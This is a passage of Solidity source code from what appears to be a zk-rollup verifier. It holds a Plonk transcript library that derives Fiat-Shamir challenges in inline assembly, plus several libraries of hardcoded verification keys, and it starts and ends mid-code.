Rollup1x2Vk.get_verification_key(); } else if (_keyId == 4) { vk = Rollup1x4Vk.get_verification_key(); } else if (_keyId == 32) { vk = Rollup28x1Vk.get_verification_key(); } else if (_keyId == 64) { vk = Rollup28x2Vk.get_verification_key(); } else if (_keyId == 128) { vk = Rollup28x4Vk.get_verification_key(); // } else if (_keyId == 256) { // vk = Rollup28x8Vk.get_verification_key(); // } else if (_keyId == 512) { // vk = Rollup28x16Vk.get_verification_key(); // } else if (_keyId == 1024) { // vk = Rollup28x32Vk.get_verification_key(); } else { require(false, 'UNKNOWN_KEY_ID'); } return vk; } } // SPDX-License-Identifier: GPL-2.0-only // Copyright 2020 Spilsbury Holdings Ltd pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; import {Types} from './Types.sol'; import {Bn254Crypto} from './Bn254Crypto.sol'; /** * @title Transcript library * @dev Generates Plonk random challenges */ library Transcript { struct TranscriptData { bytes32 current_challenge; } /** * Compute keccak256 hash of 2 4-byte variables (circuit_size, num_public_inputs) */ function generate_initial_challenge( TranscriptData memory self, uint256 circuit_size, uint256 num_public_inputs ) internal pure { bytes32 challenge; assembly { let mPtr := mload(0x40) mstore8(add(mPtr, 0x20), shr(24, circuit_size)) mstore8(add(mPtr, 0x21), shr(16, circuit_size)) mstore8(add(mPtr, 0x22), shr(8, circuit_size)) mstore8(add(mPtr, 0x23), circuit_size) mstore8(add(mPtr, 0x24), shr(24, num_public_inputs)) mstore8(add(mPtr, 0x25), shr(16, num_public_inputs)) mstore8(add(mPtr, 0x26), shr(8, num_public_inputs)) mstore8(add(mPtr, 0x27), num_public_inputs) challenge := keccak256(add(mPtr, 0x20), 0x08) } self.current_challenge = challenge; } /** * We treat the beta challenge as a special case, because it includes the public inputs. * The number of public inputs can be extremely large for rollups and we want to minimize mem consumption. * => we directly allocate memory to hash the public inputs, in order to prevent the global memory pointer from increasing */ function generate_beta_gamma_challenges( TranscriptData memory self, Types.ChallengeTranscript memory challenges, uint256 num_public_inputs ) internal pure { bytes32 challenge; bytes32 old_challenge = self.current_challenge; uint256 p = Bn254Crypto.r_mod; uint256 reduced_challenge; assembly { let m_ptr := mload(0x40) // N.B. If the calldata ABI changes this code will need to change! // We can copy all of the public inputs, followed by the wire commitments, into memory // using calldatacopy mstore(m_ptr, old_challenge) m_ptr := add(m_ptr, 0x20) let inputs_start := add(calldataload(0x04), 0x24) // num_calldata_bytes = public input size + 256 bytes for the 4 wire commitments let num_calldata_bytes := add(0x100, mul(num_public_inputs, 0x20)) calldatacopy(m_ptr, inputs_start, num_calldata_bytes) let start := mload(0x40) let length := add(num_calldata_bytes, 0x20) challenge := keccak256(start, length) reduced_challenge := mod(challenge, p) } challenges.beta = reduced_challenge; // get gamma challenge by appending 1 to the beta challenge and hash assembly { mstore(0x00, challenge) mstore8(0x20, 0x01) challenge := keccak256(0, 0x21) reduced_challenge := mod(challenge, p) } challenges.gamma = reduced_challenge; self.current_challenge = challenge; } function generate_alpha_challenge( TranscriptData memory self, Types.ChallengeTranscript memory challenges, Types.G1Point memory Z ) internal pure { bytes32 challenge; bytes32 old_challenge = self.current_challenge; uint256 p = Bn254Crypto.r_mod; uint256 reduced_challenge; assembly { let m_ptr := mload(0x40) mstore(m_ptr, old_challenge) mstore(add(m_ptr, 0x20), mload(add(Z, 0x20))) mstore(add(m_ptr, 0x40), mload(Z)) challenge := keccak256(m_ptr, 0x60) reduced_challenge := mod(challenge, p) } challenges.alpha = reduced_challenge; challenges.alpha_base = reduced_challenge; self.current_challenge = challenge; } function generate_zeta_challenge( TranscriptData memory self, Types.ChallengeTranscript memory challenges, Types.G1Point memory T1, Types.G1Point memory T2, Types.G1Point memory T3, Types.G1Point memory T4 ) internal pure { bytes32 challenge; bytes32 old_challenge = self.current_challenge; uint256 p = Bn254Crypto.r_mod; uint256 reduced_challenge; assembly { let m_ptr := mload(0x40) mstore(m_ptr, old_challenge) mstore(add(m_ptr, 0x20), mload(add(T1, 0x20))) mstore(add(m_ptr, 0x40), mload(T1)) mstore(add(m_ptr, 0x60), mload(add(T2, 0x20))) mstore(add(m_ptr, 0x80), mload(T2)) mstore(add(m_ptr, 0xa0), mload(add(T3, 0x20))) mstore(add(m_ptr, 0xc0), mload(T3)) mstore(add(m_ptr, 0xe0), mload(add(T4, 0x20))) mstore(add(m_ptr, 0x100), mload(T4)) challenge := keccak256(m_ptr, 0x120) reduced_challenge := mod(challenge, p) } challenges.zeta = reduced_challenge; self.current_challenge = challenge; } /** * We compute our initial nu challenge by hashing the following proof elements (with the current challenge): * * w1, w2, w3, w4, sigma1, sigma2, sigma3, q_arith, q_ecc, q_c, linearization_poly, grand_product_at_z_omega, * w1_omega, w2_omega, w3_omega, w4_omega * * These values are placed linearly in the proofData, we can extract them with a calldatacopy call * */ function generate_nu_challenges(TranscriptData memory self, Types.ChallengeTranscript memory challenges, uint256 quotient_poly_eval, uint256 num_public_inputs) internal pure { uint256 p = Bn254Crypto.r_mod; bytes32 current_challenge = self.current_challenge; uint256 base_v_challenge; uint256 updated_v; // We want to copy SIXTEEN field elements from calldata into memory to hash // But we start by adding the quotient poly evaluation to the hash transcript assembly { // get a calldata pointer that points to the start of the data we want to copy let calldata_ptr := add(calldataload(0x04), 0x24) // skip over the public inputs calldata_ptr := add(calldata_ptr, mul(num_public_inputs, 0x20)) // There are NINE G1 group elements added into the transcript in the `beta` round, that we need to skip over calldata_ptr := add(calldata_ptr, 0x240) // 9 * 0x40 = 0x240 let m_ptr := mload(0x40) mstore(m_ptr, current_challenge) mstore(add(m_ptr, 0x20), quotient_poly_eval) calldatacopy(add(m_ptr, 0x40), calldata_ptr, 0x200) // 16 * 0x20 = 0x200 base_v_challenge := keccak256(m_ptr, 0x240) // hash length = 0x240, we include the previous challenge in the hash updated_v := mod(base_v_challenge, p) } // assign the first challenge value challenges.v0 = updated_v; // for subsequent challenges we iterate 10 times. // At each iteration i \in [1, 10] we compute challenges.vi = keccak256(base_v_challenge, byte(i)) assembly { mstore(0x00, base_v_challenge) mstore8(0x20, 0x01) updated_v := mod(keccak256(0x00, 0x21), p) } challenges.v1 = updated_v; assembly { mstore8(0x20, 0x02) updated_v := mod(keccak256(0x00, 0x21), p) } challenges.v2 = updated_v; assembly { mstore8(0x20, 0x03) updated_v := mod(keccak256(0x00, 0x21), p) } challenges.v3 = updated_v; assembly { mstore8(0x20, 0x04) updated_v := mod(keccak256(0x00, 0x21), p) } challenges.v4 = updated_v; assembly { mstore8(0x20, 0x05) updated_v := mod(keccak256(0x00, 0x21), p) } challenges.v5 = updated_v; assembly { mstore8(0x20, 0x06) updated_v := mod(keccak256(0x00, 0x21), p) } challenges.v6 = updated_v; assembly { mstore8(0x20, 0x07) updated_v := mod(keccak256(0x00, 0x21), p) } challenges.v7 = updated_v; assembly { mstore8(0x20, 0x08) updated_v := mod(keccak256(0x00, 0x21), p) } challenges.v8 = updated_v; assembly { mstore8(0x20, 0x09) updated_v := mod(keccak256(0x00, 0x21), p) } challenges.v9 = updated_v; // update the current challenge when computing the final nu challenge bytes32 challenge; assembly { mstore8(0x20, 0x0a) challenge := keccak256(0x00, 0x21) updated_v := mod(challenge, p) } challenges.v10 = updated_v; self.current_challenge = challenge; } function generate_separator_challenge( TranscriptData memory self, Types.ChallengeTranscript memory challenges, Types.G1Point memory PI_Z, Types.G1Point memory PI_Z_OMEGA ) internal pure { bytes32 challenge; bytes32 old_challenge = self.current_challenge; uint256 p = Bn254Crypto.r_mod; uint256 reduced_challenge; assembly { let m_ptr := mload(0x40) mstore(m_ptr, old_challenge) mstore(add(m_ptr, 0x20), mload(add(PI_Z, 0x20))) mstore(add(m_ptr, 0x40), mload(PI_Z)) mstore(add(m_ptr, 0x60), mload(add(PI_Z_OMEGA, 0x20))) mstore(add(m_ptr, 0x80), mload(PI_Z_OMEGA)) challenge := keccak256(m_ptr, 0xa0) reduced_challenge := mod(challenge, p) } challenges.u = reduced_challenge; self.current_challenge = challenge; } } // SPDX-License-Identifier: GPL-2.0-only // Copyright 2020 Spilsbury Holdings Ltd pragma solidity >=0.6.10 <0.8.0; interface IVerifier { function verify(bytes memory serialized_proof, uint256 _keyId) external; } // SPDX-License-Identifier: GPL-2.0-only // Copyright 2020 Spilsbury Holdings Ltd pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; import {Types} from '../cryptography/Types.sol'; import {Bn254Crypto} from '../cryptography/Bn254Crypto.sol'; library Rollup1x1Vk { using Bn254Crypto for Types.G1Point; using Bn254Crypto for Types.G2Point; function get_verification_key() internal pure returns (Types.VerificationKey memory) { Types.VerificationKey memory vk; assembly { mstore(add(vk, 0x00), 1048576) // vk.circuit_size mstore(add(vk, 0x20), 42) // vk.num_inputs mstore(add(vk, 0x40),0x26125da10a0ed06327508aba06d1e303ac616632dbed349f53422da953337857) // vk.work_root mstore(add(vk, 0x60),0x30644b6c9c4a72169e4daa317d25f04512ae15c53b34e8f5acd8e155d0a6c101) // vk.domain_inverse mstore(add(vk, 0x80),0x100c332d2100895fab6473bc2c51bfca521f45cb3baca6260852a8fde26c91f3) // vk.work_root_inverse mstore(mload(add(vk, 0xa0)), 0x1f2ac4d179286e11ea27474eb42a59e783378ef2d4b3dcaf53bcc4bfd5766cdf)//vk.Q1 mstore(add(mload(add(vk, 0xa0)), 0x20), 0x037b973ea64359336003789dd5c14e0d08427601633f7a60915c233e2416793b) mstore(mload(add(vk, 0xc0)), 0x09a89b78e80f9a471318ca402938418bb3df1bf743b37237593e5d61210a36b4)//vk.Q2 mstore(add(mload(add(vk, 0xc0)), 0x20), 0x2b7e8fd3a325fa5319243146c0264e5447f55f9bbed7638db81260e2953c055c) mstore(mload(add(vk, 0xe0)), 0x08b939500bec7b7468ba394ce9630842c3847a45f3771440c958315e426124b0)//vk.Q3 mstore(add(mload(add(vk, 0xe0)), 0x20), 0x2fc02df0bface1f5d03869b3e2c354c2504238dd9474a367dcb4e3d9da568ebb) mstore(mload(add(vk, 0x100)), 0x2c3ad8425d75ac138dba56485d90edcc021f60327be3498b4e3fe27be3d56295)//vk.Q4 mstore(add(mload(add(vk, 0x100)), 0x20), 0x217fa454c2018d20ac6d691580f40bba410b37bbd05af596b7de276b4fb1f6ee) mstore(mload(add(vk, 0x120)), 0x15a1de41f51208defd88775e97fef82bf3ab02d8668b47db61dfeb47cd4f245b)//vk.Q5 mstore(add(mload(add(vk, 0x120)), 0x20), 0x12f7d8bb05da8297beadd0d252e1ad442ffa1e417a7409cb8f5fdd9aa7f8c0f6) mstore(mload(add(vk, 0x140)), 0x1ab0878c1bdb3f32a0852d57d8c4a34596fd3cd05d7c993cb13ea693e8811bbf)//vk.QM mstore(add(mload(add(vk, 0x140)), 0x20), 0x1288c1f417fb0b2824e6cfbf2ef2f0b7779b5021c31bc7fcd6ab2548098e3120) mstore(mload(add(vk, 0x160)), 0x061b6360be0227a86a035b045aef240eb58589053fce87c01c720bda452f43d1)//vk.QC mstore(add(mload(add(vk, 0x160)), 0x20), 0x01156ab445d61985688f31ec54c6cd62d316d0c87cade32706fd236c2e93d96c) mstore(mload(add(vk, 0x180)), 0x0b0f5891e864b4017a747aa299632bfe31a889aad3f3de6a01852b1ce243001e)//vk.QARITH mstore(add(mload(add(vk, 0x180)), 0x20), 0x0c9fcc80878d243d6188504c7887f5f1fa75ab2bf26ffccf756eee03c8a84c76) mstore(mload(add(vk, 0x1a0)), 0x2f9db190db59e2a2d54873e289c85cbbb7ae92c313ec601b431f497e98b0a421)//vk.QECC mstore(add(mload(add(vk, 0x1a0)), 0x20), 0x13e353dc36b2271889f3914bd574bbf7543591e0ee3e0536602f34b2283815b0) mstore(mload(add(vk, 0x1c0)), 0x2abffcb12d5d0076a25e93b0c7fc92189796618f174bb7d1af5fc920676117be)//vk.QRANGE mstore(add(mload(add(vk, 0x1c0)), 0x20), 0x068a7d9bcb8ad26f29607644a4e06c1bc4be3ce7febd65bde61879a24e570115) mstore(mload(add(vk, 0x1e0)), 0x20735c1704fee325f652a4a61b3fe620130f9c868d6430f9ace2a782e4cd474e)//vk.QLOGIC mstore(add(mload(add(vk, 0x1e0)), 0x20), 0x217a0dc7aa32d5ec9f686718931304a9673229626cbfa0d9e30501e546331f4b) mstore(mload(add(vk, 0x200)), 0x20cff9441d3a303e85c353ce25709bef99d5a07dec6e6d76c9e97cb68e3fd311)//vk.SIGMA1 mstore(add(mload(add(vk, 0x200)), 0x20), 0x1d93dc5472d57a5863b6dc93891d875ade34abf17a06154b6793c187111fc9a3) mstore(mload(add(vk, 0x220)), 0x1c5a9c2747d0b4788343819582cd7d76a577a46b718315fd8361ee86845384b3)//vk.SIGMA2 mstore(add(mload(add(vk, 0x220)), 0x20), 0x069b936b21b217b81107423f7eb9772a0295009e1ca7b449febdf11bd967b391) mstore(mload(add(vk, 0x240)), 0x162904b9f7b4cc5fb50b7440e1e885c5bf10646a1701f2b7286bcd237ba52c64)//vk.SIGMA3 mstore(add(mload(add(vk, 0x240)), 0x20), 0x0f281022f4802d347c838ba2390a5ed9430d596c8a3dc831f50ecf0bb872c974) mstore(mload(add(vk, 0x260)), 0x1ac525fe26d3a6aebce5d7e0e09643a8193eff2bd2f6d35262460233353cbaad)//vk.SIGMA4 mstore(add(mload(add(vk, 0x260)), 0x20), 0x16eb8c3d631fd40449c8ae2e025a04660b2548b9783805868d74b7ef6e1f7d12) mstore(add(vk, 0x280), 0x01) // vk.contains_recursive_proof mstore(add(vk, 0x2a0), 26) // vk.recursive_proof_public_input_indices mstore(mload(add(vk, 0x2c0)), 0x260e01b251f6f1c7e7ff4e580791dee8ea51d87a358e038b4efe30fac09383c1) // vk.g2_x.X.c1 mstore(add(mload(add(vk, 0x2c0)), 0x20), 0x0118c4d5b837bcc2bc89b5b398b5974e9f5944073b32078b7e231fec938883b0) // vk.g2_x.X.c0 mstore(add(mload(add(vk, 0x2c0)), 0x40), 0x04fc6369f7110fe3d25156c1bb9a72859cf2a04641f99ba4ee413c80da6a5fe4) // vk.g2_x.Y.c1 mstore(add(mload(add(vk, 0x2c0)), 0x60), 0x22febda3c0c0632a56475b4214e5615e11e6dd3f96e6cea2854a87d4dacc5e55) // vk.g2_x.Y.c0 } return vk; } } // SPDX-License-Identifier: GPL-2.0-only // Copyright 2020 Spilsbury Holdings Ltd pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; import {Types} from '../cryptography/Types.sol'; import {Bn254Crypto} from '../cryptography/Bn254Crypto.sol'; library Rollup1x2Vk { using Bn254Crypto for Types.G1Point; using Bn254Crypto for Types.G2Point; function get_verification_key() internal pure returns (Types.VerificationKey memory) { Types.VerificationKey memory vk; assembly { mstore(add(vk, 0x00), 2097152) // vk.circuit_size mstore(add(vk, 0x20), 54) // vk.num_inputs mstore(add(vk, 0x40),0x1ded8980ae2bdd1a4222150e8598fc8c58f50577ca5a5ce3b2c87885fcd0b523) // vk.work_root mstore(add(vk, 0x60),0x30644cefbebe09202b4ef7f3ff53a4511d70ff06da772cc3785d6b74e0536081) // vk.domain_inverse mstore(add(vk, 0x80),0x19c6dfb841091b14ab14ecc1145f527850fd246e940797d3f5fac783a376d0f0) // vk.work_root_inverse mstore(mload(add(vk, 0xa0)), 0x2035797d3cfe55fb2cb1d7495a7bd8557579193cffa8b2869ef1e6334d7c0370)//vk.Q1 mstore(add(mload(add(vk, 0xa0)), 0x20), 0x1cff5ff0b7b2373e36ebb6fe7fd43de16e3da206b845a80312cbde147e33df3c) mstore(mload(add(vk, 0xc0)), 0x13fd1d48ec231af1c268d63a7eecac135183fe49a97e1d8cb52a485110c99771)//vk.Q2 mstore(add(mload(add(vk, 0xc0)), 0x20), 0x1519d84f5732134d01f7991ed0a23bdfac4e1abf132c8c81ef3db223cc798547) mstore(mload(add(vk, 0xe0)), 0x1f8f37443d6b35f4e37d9227d8c7b705b0ce0137eba7c31f67f0ff305c435f06)//vk.Q3 mstore(add(mload(add(vk, 0xe0)), 0x20), 0x02aa9e7e15d6066825ed4cb9ee26dc3c792cf947aaecbdb082e2ebf8934f2635) mstore(mload(add(vk, 0x100)), 0x0ebdf890f294b514a792518762d47c1ea8682dec1eaed7d8a9da9b529ee1d4b9)//vk.Q4 mstore(add(mload(add(vk, 0x100)), 0x20), 0x2fbded8ed1cb6e11c285c4db14197b26bc9dd5c48fc0cfb3c3b6d357ae9ed89b) mstore(mload(add(vk, 0x120)), 0x12c597dd13b50f505d34fbb6a6ca15c913f87f71f312a838438c2e5818f35847)//vk.Q5 mstore(add(mload(add(vk, 0x120)), 0x20), 0x0664442fff533df8eae9add8b011c8c24332efb23e00da3bb145ecd2e32102a5) mstore(mload(add(vk, 0x140)), 0x284f4d6d4a99337a45e9c222d5e05243ff276d3736456dfacc449bd6ef2511ce)//vk.QM mstore(add(mload(add(vk, 0x140)), 0x20), 0x2adfeaaceb6331071fcf41d290322be8025dd2d5615b9a13078f235530faa1b6) mstore(mload(add(vk, 0x160)), 0x06517b067977fe1743c8b429c032f6fd3846ae20997d2dd05813a10701fc5348)//vk.QC mstore(add(mload(add(vk, 0x160)), 0x20), 0x1b209661353dbdf602b85ab124e30051aadee936d68610493889fe633a4191a1) mstore(mload(add(vk, 0x180)), 0x04e67fcb0781f800e131d3f98a584b333b7e9ba24f8f1848156412e9d7cad7c4)//vk.QARITH mstore(add(mload(add(vk, 0x180)), 0x20), 0x1c50e0a2d57ddf592a0b03c6942451d7744e34402f6a330ac149a05f6c8dc431) mstore(mload(add(vk, 0x1a0)), 0x149e9c48163b7050a2a0fc14f3c1f9b774f1dd2f2d1248cd8d4fadce6e754129)//vk.QECC mstore(add(mload(add(vk, 0x1a0)), 0x20), 0x2d9406755cf062c4f9afa31c1124ea66a7650821fb8ef7c89865687126c610b1) mstore(mload(add(vk, 0x1c0)), 0x26feacb1c66490c9239f6ebe1882a34d48d808c7d778b43039c7bff795c517ae)//vk.QRANGE mstore(add(mload(add(vk, 0x1c0)), 0x20), 0x05e6597b85e3438d4345377c2cc4707ae55a58e1b8658b420608d19a44a7c66c) mstore(mload(add(vk, 0x1e0)), 0x2956cd5126b44362be7d9d9bc63ac056d6da0f952aa17cfcf9c79929b95477a1)//vk.QLOGIC mstore(add(mload(add(vk, 0x1e0)), 0x20), 0x19fe15891be1421df2599a8b0bd3f0e0b852abc71fdc7b0ccecfe42a5b7f7198) mstore(mload(add(vk, 0x200)), 0x03328c296b883fbe931776cf309004a3b819fab885f790a51d1430167b24698e)//vk.SIGMA1 mstore(add(mload(add(vk, 0x200)), 0x20), 0x2a76d6ca1d88c2e9ad2e18c03215fafc81ac163ecfe79ddf060d4f4b7389c03d) mstore(mload(add(vk, 0x220)), 0x11e7c17289e04208ec90a76ecbe436120193debae02fba654ae61d0b83d1abe1)//vk.SIGMA2 mstore(add(mload(add(vk, 0x220)), 0x20), 0x17f03d09230f58660f79a93fd27339763996794c6346527ed1ddb06ffb830240) mstore(mload(add(vk, 0x240)), 0x0f58505fafa98e131cc94bcc57fa21d89b2797113bd263889665fc74f86b540b)//vk.SIGMA3 mstore(add(mload(add(vk, 0x240)), 0x20), 0x153e8f0949a7c7f83ba8e6a6418b254c5703e836f864657ca8adf17facbe3edf) mstore(mload(add(vk, 0x260)), 0x1dd744cc20dcde91df6e12965f9b4572b37e898ab61cce8580a8635f76922d66)//vk.SIGMA4 mstore(add(mload(add(vk, 0x260)), 0x20), 0x1480e010037944e5c157ab07ce92e07bd367c74f5710a8229fcfecfd1cf860f2) mstore(add(vk, 0x280), 0x01) // vk.contains_recursive_proof mstore(add(vk, 0x2a0), 38) // vk.recursive_proof_public_input_indices mstore(mload(add(vk, 0x2c0)), 0x260e01b251f6f1c7e7ff4e580791dee8ea51d87a358e038b4efe30fac09383c1) // vk.g2_x.X.c1 mstore(add(mload(add(vk, 0x2c0)), 0x20), 0x0118c4d5b837bcc2bc89b5b398b5974e9f5944073b32078b7e231fec938883b0) // vk.g2_x.X.c0 mstore(add(mload(add(vk, 0x2c0)), 0x40), 0x04fc6369f7110fe3d25156c1bb9a72859cf2a04641f99ba4ee413c80da6a5fe4) // vk.g2_x.Y.c1 mstore(add(mload(add(vk, 0x2c0)), 0x60), 0x22febda3c0c0632a56475b4214e5615e11e6dd3f96e6cea2854a87d4dacc5e55) // vk.g2_x.Y.c0 } return vk; } } // SPDX-License-Identifier: GPL-2.0-only // Copyright 2020 Spilsbury Holdings Ltd pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; import {Types} from '../cryptography/Types.sol'; import {Bn254Crypto} from '../cryptography/Bn254Crypto.sol'; library Rollup1x4Vk { using Bn254Crypto for Types.G1Point; using Bn254Crypto for Types.G2Point; function get_verification_key() internal pure returns (Types.VerificationKey memory) { Types.VerificationKey memory vk; assembly { mstore(add(vk, 0x00), 4194304) // vk.circuit_size mstore(add(vk, 0x20), 78) // vk.num_inputs mstore(add(vk, 0x40),0x1ad92f46b1f8d9a7cda0ceb68be08215ec1a1f05359eebbba76dde56a219447e) // vk.work_root mstore(add(vk, 0x60),0x30644db14ff7d4a4f1cf9ed5406a7e5722d273a7aa184eaa5e1fb0846829b041) // vk.domain_inverse mstore(add(vk, 0x80),0x2eb584390c74a876ecc11e9c6d3c38c3d437be9d4beced2343dc52e27faa1396) // vk.work_root_inverse mstore(mload(add(vk, 0xa0)), 0x1905de26e0521f6770bd0f862fe4e0eec67f12507686404c6446757a98a37814)//vk.Q1 mstore(add(mload(add(vk, 0xa0)), 0x20), 0x0694957d080b0decf988c57dced5f3b5e3484d68025a3e835bef2d99be6be002) mstore(mload(add(vk, 0xc0)), 0x0ca202177999ac7977504b6cc300641a9b4298c8aa558aec3ee94c30b5a15aec)//vk.Q2 mstore(add(mload(add(vk, 0xc0)), 0x20), 0x2fc822dddd433de2e74843c0bfcf4f8364a68a50a27b9e7e8cb34f21533e258c) mstore(mload(add(vk, 0xe0)), 0x1a18221746331118b68efbeac03a4f473a71bfd5d382852e2793701af36eba06)//vk.Q3 mstore(add(mload(add(vk, 0xe0)), 0x20), 0x21b2c1cd7c94a3d2408da26cf1f3d3375c601760a79482393f9ff6b922158c3d) mstore(mload(add(vk, 0x100)), 0x2346c947ff02dca4de5e54b2253d037776fbcfe0fdad86638e9db890da71c049)//vk.Q4 mstore(add(mload(add(vk, 0x100)), 0x20), 0x0d97ce16eb882cee8465f26d5d551a7d9d3b4919d8e88534a9f9e5c8bc4edd4a) mstore(mload(add(vk, 0x120)), 0x098db84adc95fb46bee39c99b82c016f462f1221a4ed3aff5e3091e6f998efab)//vk.Q5 mstore(add(mload(add(vk, 0x120)), 0x20), 0x2f9a9bf026f0e7bca888b888b7329e6e6c3aa838676807ed043447568477ae1c) mstore(mload(add(vk, 0x140)), 0x12eca0c50cefe2f40970e31c3bf0cc86759947cb551ce64d4d0d9f1b506e7804)//vk.QM mstore(add(mload(add(vk, 0x140)), 0x20), 0x1754769e1f2b2d2d6b02eeb4177d550b2d64b27c487f7e3a1901b8bb7c079dbd) mstore(mload(add(vk, 0x160)), 0x1c6a1a9155a078ee45d77612cdfb952be0a9b1ccf28a1952862bb14dca612df0)//vk.QC mstore(add(mload(add(vk, 0x160)), 0x20), 0x2b49a3c68393f7432426bc88001731bd19b39bc4440a6e92a22c808ee79cef0b) mstore(mload(add(vk, 0x180)), 0x2bf6295f483d0c31a2cd59d90660ae15322fbd7f2c7de91f632e4d85bb9e5542)//vk.QARITH mstore(add(mload(add(vk, 0x180)), 0x20), 0x03f9cc8c1db059f7efe6139ac124818a803b83a878899371659e4effcdd34634) mstore(mload(add(vk, 0x1a0)), 0x198db1e92d744866cff883596651252349cba329e34e188fea3d5e8688e96d80)//vk.QECC mstore(add(mload(add(vk, 0x1a0)), 0x20), 0x1683a17e5916c5b9d4a207cc851046ce8c2e4c0969c9f7b415b408c9a04e1e5f) mstore(mload(add(vk, 0x1c0)), 0x26d32da521d28feac610accf88e570731359b6aadab174e5c54764f5b27479cc)//vk.QRANGE mstore(add(mload(add(vk, 0x1c0)), 0x20), 0x23da92a89982bb0c3aea8828d5ba5c7cf18dafe5955cca80ce577931026169c3) mstore(mload(add(vk, 0x1e0)), 0x27cda6c91bb4d3077580b03448546ca1ad7535e7ba0298ce8e6d809ee448b42a)//vk.QLOGIC mstore(add(mload(add(vk, 0x1e0)), 0x20), 0x02f356e126f28aa1446d87dd22b9a183c049460d7c658864cdebcf908fdfbf2b) mstore(mload(add(vk, 0x200)), 0x1bded30987633ade34bfc4f5dcbd52037f9793f81b3b64a4f9b2f727f510b68a)//vk.SIGMA1 mstore(add(mload(add(vk, 0x200)), 0x20), 0x18f40cabd6c86d97b3f074c6e1138dc2b5b9a9e818f547ae44963903b390fbb9) mstore(mload(add(vk, 0x220)), 0x0c10302401e0b254cb1bdf938db61dd2c410533da8847d17b982630748f0b2dd)//vk.SIGMA2 mstore(add(mload(add(vk, 0x220)), 0x20), 0x070eec8345671872a78e1a2f0af5efeb844f89d973c51aabbb648396d5db7356) mstore(mload(add(vk, 0x240)), 0x2372b6db3edc75e1682ed30b67f3014cbb5d038363953a6736c16a1deecbdf79)//vk.SIGMA3 mstore(add(mload(add(vk, 0x240)), 0x20), 0x28d36f1f1f02d019955c7a582cbe8555b9662a27862b1b61e0d40c33b2f55bad) mstore(mload(add(vk, 0x260)), 0x0297ba9bd48b4ab9f0bb567cfea88ff27822214f5ba096bf4dea312a08323d61)//vk.SIGMA4 mstore(add(mload(add(vk, 0x260)), 0x20), 0x174eae2839fb8eed0ae03668a2a7628a806a6873591b5af113df6b9aa969e67f) mstore(add(vk, 0x280), 0x01) // vk.contains_recursive_proof mstore(add(vk, 0x2a0), 62) // vk.recursive_proof_public_input_indices mstore(mload(add(vk, 0x2c0)), 0x260e01b251f6f1c7e7ff4e580791dee8ea51d87a358e038b4efe30fac09383c1) // vk.g2_x.X.c1 mstore(add(mload(add(vk, 0x2c0)), 0x20), 0x0118c4d5b837bcc2bc89b5b398b5974e9f5944073b32078b7e231fec938883b0) // vk.g2_x.X.c0 mstore(add(mload(add(vk, 0x2c0)), 0x40), 0x04fc6369f7110fe3d25156c1bb9a72859cf2a04641f99ba4ee413c80da6a5fe4) // vk.g2_x.Y.c1 mstore(add(mload(add(vk, 0x2c0)), 0x60), 0x22febda3c0c0632a56475b4214e5615e11e6dd3f96e6cea2854a87d4dacc5e55) // vk.g2_x.Y.c0 } return vk; } } // SPDX-License-Identifier: GPL-2.0-only // Copyright 2020 Spilsbury Holdings Ltd pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; import {Types} from '../cryptography/Types.sol'; import {Bn254Crypto} from '../cryptography/Bn254Crypto.sol'; library Rollup28x1Vk { using Bn254Crypto for Types.G1Point; using Bn254Crypto for Types.G2Point; function get_verification_key() internal pure returns (Types.VerificationKey memory) { Types.VerificationKey memory vk; assembly { mstore(add(vk, 0x00), 1048576) // vk.circuit_size mstore(add(vk, 0x20), 414) // vk.num_inputs mstore(add(vk, 0x40),0x26125da10a0ed06327508aba06d1e303ac616632dbed349f53422da953337857) // vk.work_root mstore(add(vk, 0x60),0x30644b6c9c4a72169e4daa317d25f04512ae15c53b34e8f5acd8e155d0a6c101) // vk.domain_inverse mstore(add(vk, 0x80),0x100c332d2100895fab6473bc2c51bfca521f45cb3baca6260852a8fde26c91f3) // vk.work_root_inverse mstore(mload(add(vk, 0xa0)), 0x10bd711408fe2b61aa9262b4a004dcf2ca130cbc32707b0b912f9f89988c98ba)//vk.Q1 mstore(add(mload(add(vk, 0xa0)), 0x20), 0x08afbc361df7453c1dd919450bd79220a33b2788b6f95283050bf9c323135c5b) mstore(mload(add(vk, 0xc0)), 0x137a7113b310661cf1675a8f8770d5a42207c973b5af1d01a6c032bdf2f29a4a)//vk.Q2 mstore(add(mload(add(vk, 0xc0)), 0x20), 0x1f5b2952576e631b56af8de08eac4f657df5b12accb50c9471a1db88774e90b5) mstore(mload(add(vk, 0xe0)), 0x1cef558b208cf3d4f94dfa013a98b95290b868386ef510ca1748f6f98bf10be6)//vk.Q3 mstore(add(mload(add(vk, 0xe0)), 0x20), 0x2446a3863bc0f0f76dd05dd1d42d14bd8bac21d722b77a1f5a5b2d5a579a5234) mstore(mload(add(vk, 0x100)), 0x2684bc8456c09dd44dd28e01787220d1f16067ebf7fe761a2e0162f2487bbfe5)//vk.Q4 mstore(add(mload(add(vk, 0x100)), 0x20), 0x18196003211bed495d38cbdb609208146170031a8382280a7858085d8a887957) mstore(mload(add(vk, 0x120)), 0x2d7c9719e88ebb7b4a2127a6db4b86ad6122a4ef8a1c793fdec3a8973d0b9876)//vk.Q5 mstore(add(mload(add(vk, 0x120)), 0x20), 0x297cd6d4531a9ada5d0da740135f7e59bf007a6e43c68e0b3535cca70210bd1e) mstore(mload(add(vk, 0x140)), 0x096d40976d338598fc442fb0c1a154d419bca8f9f43eb2015331a97d59565bd1)//vk.QM mstore(add(mload(add(vk, 0x140)), 0x20), 0x18feffe5bef7a4a8ad9a425c9ae3ccfc57b09fa380994e72ebbbc38b7e1742a0) mstore(mload(add(vk, 0x160)), 0x116696fa382e05e33b3cfe33589c21f0ed1e2c943598843118cc537cbf8a7889)//vk.QC mstore(add(mload(add(vk, 0x160)), 0x20), 0x0943908333df3135bf0a2bb95598e8ed63f398850e5e6580f717fb88e5cfdded) mstore(mload(add(vk, 0x180)), 0x1eb644a98415205832ee4888b328ad7c677467160a32a5d46e4ab89f9ae778ba)//vk.QARITH mstore(add(mload(add(vk, 0x180)), 0x20), 0x1d3973861d86d55001f5c08bf4f679c311cea8433625b4a5a76a41fcacca7065) mstore(mload(add(vk, 0x1a0)), 0x0f05143ecec847223aff4840177b7893eadfa3a251508a894b8ca4befc97ac94)//vk.QECC mstore(add(mload(add(vk, 